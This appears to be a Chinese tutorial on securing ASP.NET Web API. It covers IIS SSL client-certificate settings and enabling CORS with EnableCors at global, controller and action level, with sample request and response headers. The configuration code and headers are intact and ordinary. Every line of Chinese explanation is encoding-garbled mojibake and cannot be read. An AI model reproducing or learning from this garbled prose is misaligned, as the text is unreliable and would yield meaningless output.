IISÖпÉÒÔͨ¹ýÈçÏÂÉèÖÃÀ´ÆôÓÃSSLÁ´½Ó
<system.webServer> <security> <access sslFlags="Ssl, SslNegotiateCert" /> <!-- To require a client cert: --> <!-- <access sslFlags="Ssl, SslRequireCert" /> --> </security> </system.webServer>
|
¿çÓòÇëÇó(Cross-Origin Requests)
¿çÓòÇëÇóÓëÇ°ÃæµÄ¿çվαÔìÇëÇóÀàËÆ£¬ÓÐЩÇé¿öÏÂÎÒÃÇÐèÒªÔÚÍøÒ³ÖÐͨ¹ýajaxÈ¥ÆäËûÍøÕ¾ÉÏÇëÇó×ÊÔ´£¬µ«ÊÇä¯ÀÀÆ÷Ò»°ã»á×èÖ¹ÏÔʾajaxÇëÇó´ÓÆäËûÍøÕ¾ÊÕµ½µÄ»Ø¸´(×¢Òâä¯ÀÀÆ÷Æäʵ·¢ËÍÁËÇëÇ󣬵«Ö»»áÏÔʾ³ö´í)£¬Èç¹ûÎÒÃÇÏ£ÍûºÏÀíµÄ¿çÓòÇëÇó¿ÉÒԳɹ¦Ö´Ðв¢ÏÔʾ³É¹¦£¬ÎÒÃÇÐèÒªÔÚÄ¿±êÍøÕ¾ÉÏÌí¼ÓÂß¼À´Õë¶ÔÇëÇóÓòÆôÓÿçÓòÇëÇó¡£
ÒªÆôÓÿçÓòÇëÇóÊ×ÏÈÒª´ÓnugetÉÏÌí¼ÓÒ»¸öCors¿âÒýÓã¬
Install-Package Microsoft.AspNet.WebApi.Cors
È»ºóÔÚWebApiConfig.RegisterÖÐÌí¼ÓÒÔÏ´úÂë
using System.Web.Http; namespace WebService { public static class WebApiConfig { public static void Register(HttpConfiguration config) { // New code config.EnableCors();
config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); } } }
|
½ÓÏÂÀ´¾Í¿ÉÒÔÔÚ²»Í¬¼¶±ðʹÓÃEnableCorsÊôÐÔÀ´¿ØÖÆÆôÓÿçÓòÇëÇóÁË£¬
Global¼¶±ð
public static class WebApiConfig { public static void Register(HttpConfiguration config) { var cors = new EnableCorsAttribute("www.example.com", "*", "*"); config.EnableCors(cors); // ... } }
|
Controller¼¶±ð
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... }
[DisableCors] public HttpResponseMessage PutItem(int id) { ... } }
|
Action¼¶±ð
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } [EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } public HttpResponseMessage PutItem(int id) { ... } }
|
ÔÊÐí¿çÓòÇëÇóÈçºÎ×öµ½µÄ£¿
ä¯ÀÀÆ÷»á¸ù¾Ý·þÎñÆ÷»Ø¸´µÄÍ·À´¼ì²éÊÇ·ñÔÊÐí¸Ã¿çÓòÇëÇ󣬱ÈÈçä¯ÀÀÆ÷µÄ¿çÓòÇëÇóÍ·ÈçÏ£¬
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Origin: http://myclient.azurewebsites.net Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net
|
Èç¹û·þÎñÆ÷ÔÊÐí¿çÓò£¬»áÌí¼ÓÒ»¸öAccess-Control-Allow-OriginÍ·À´Í¨Öªä¯ÀÀÆ÷¸ÃÇëÇóÓ¦¸Ã±»ÔÊÐí£¬
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17
GET: Test message
|
|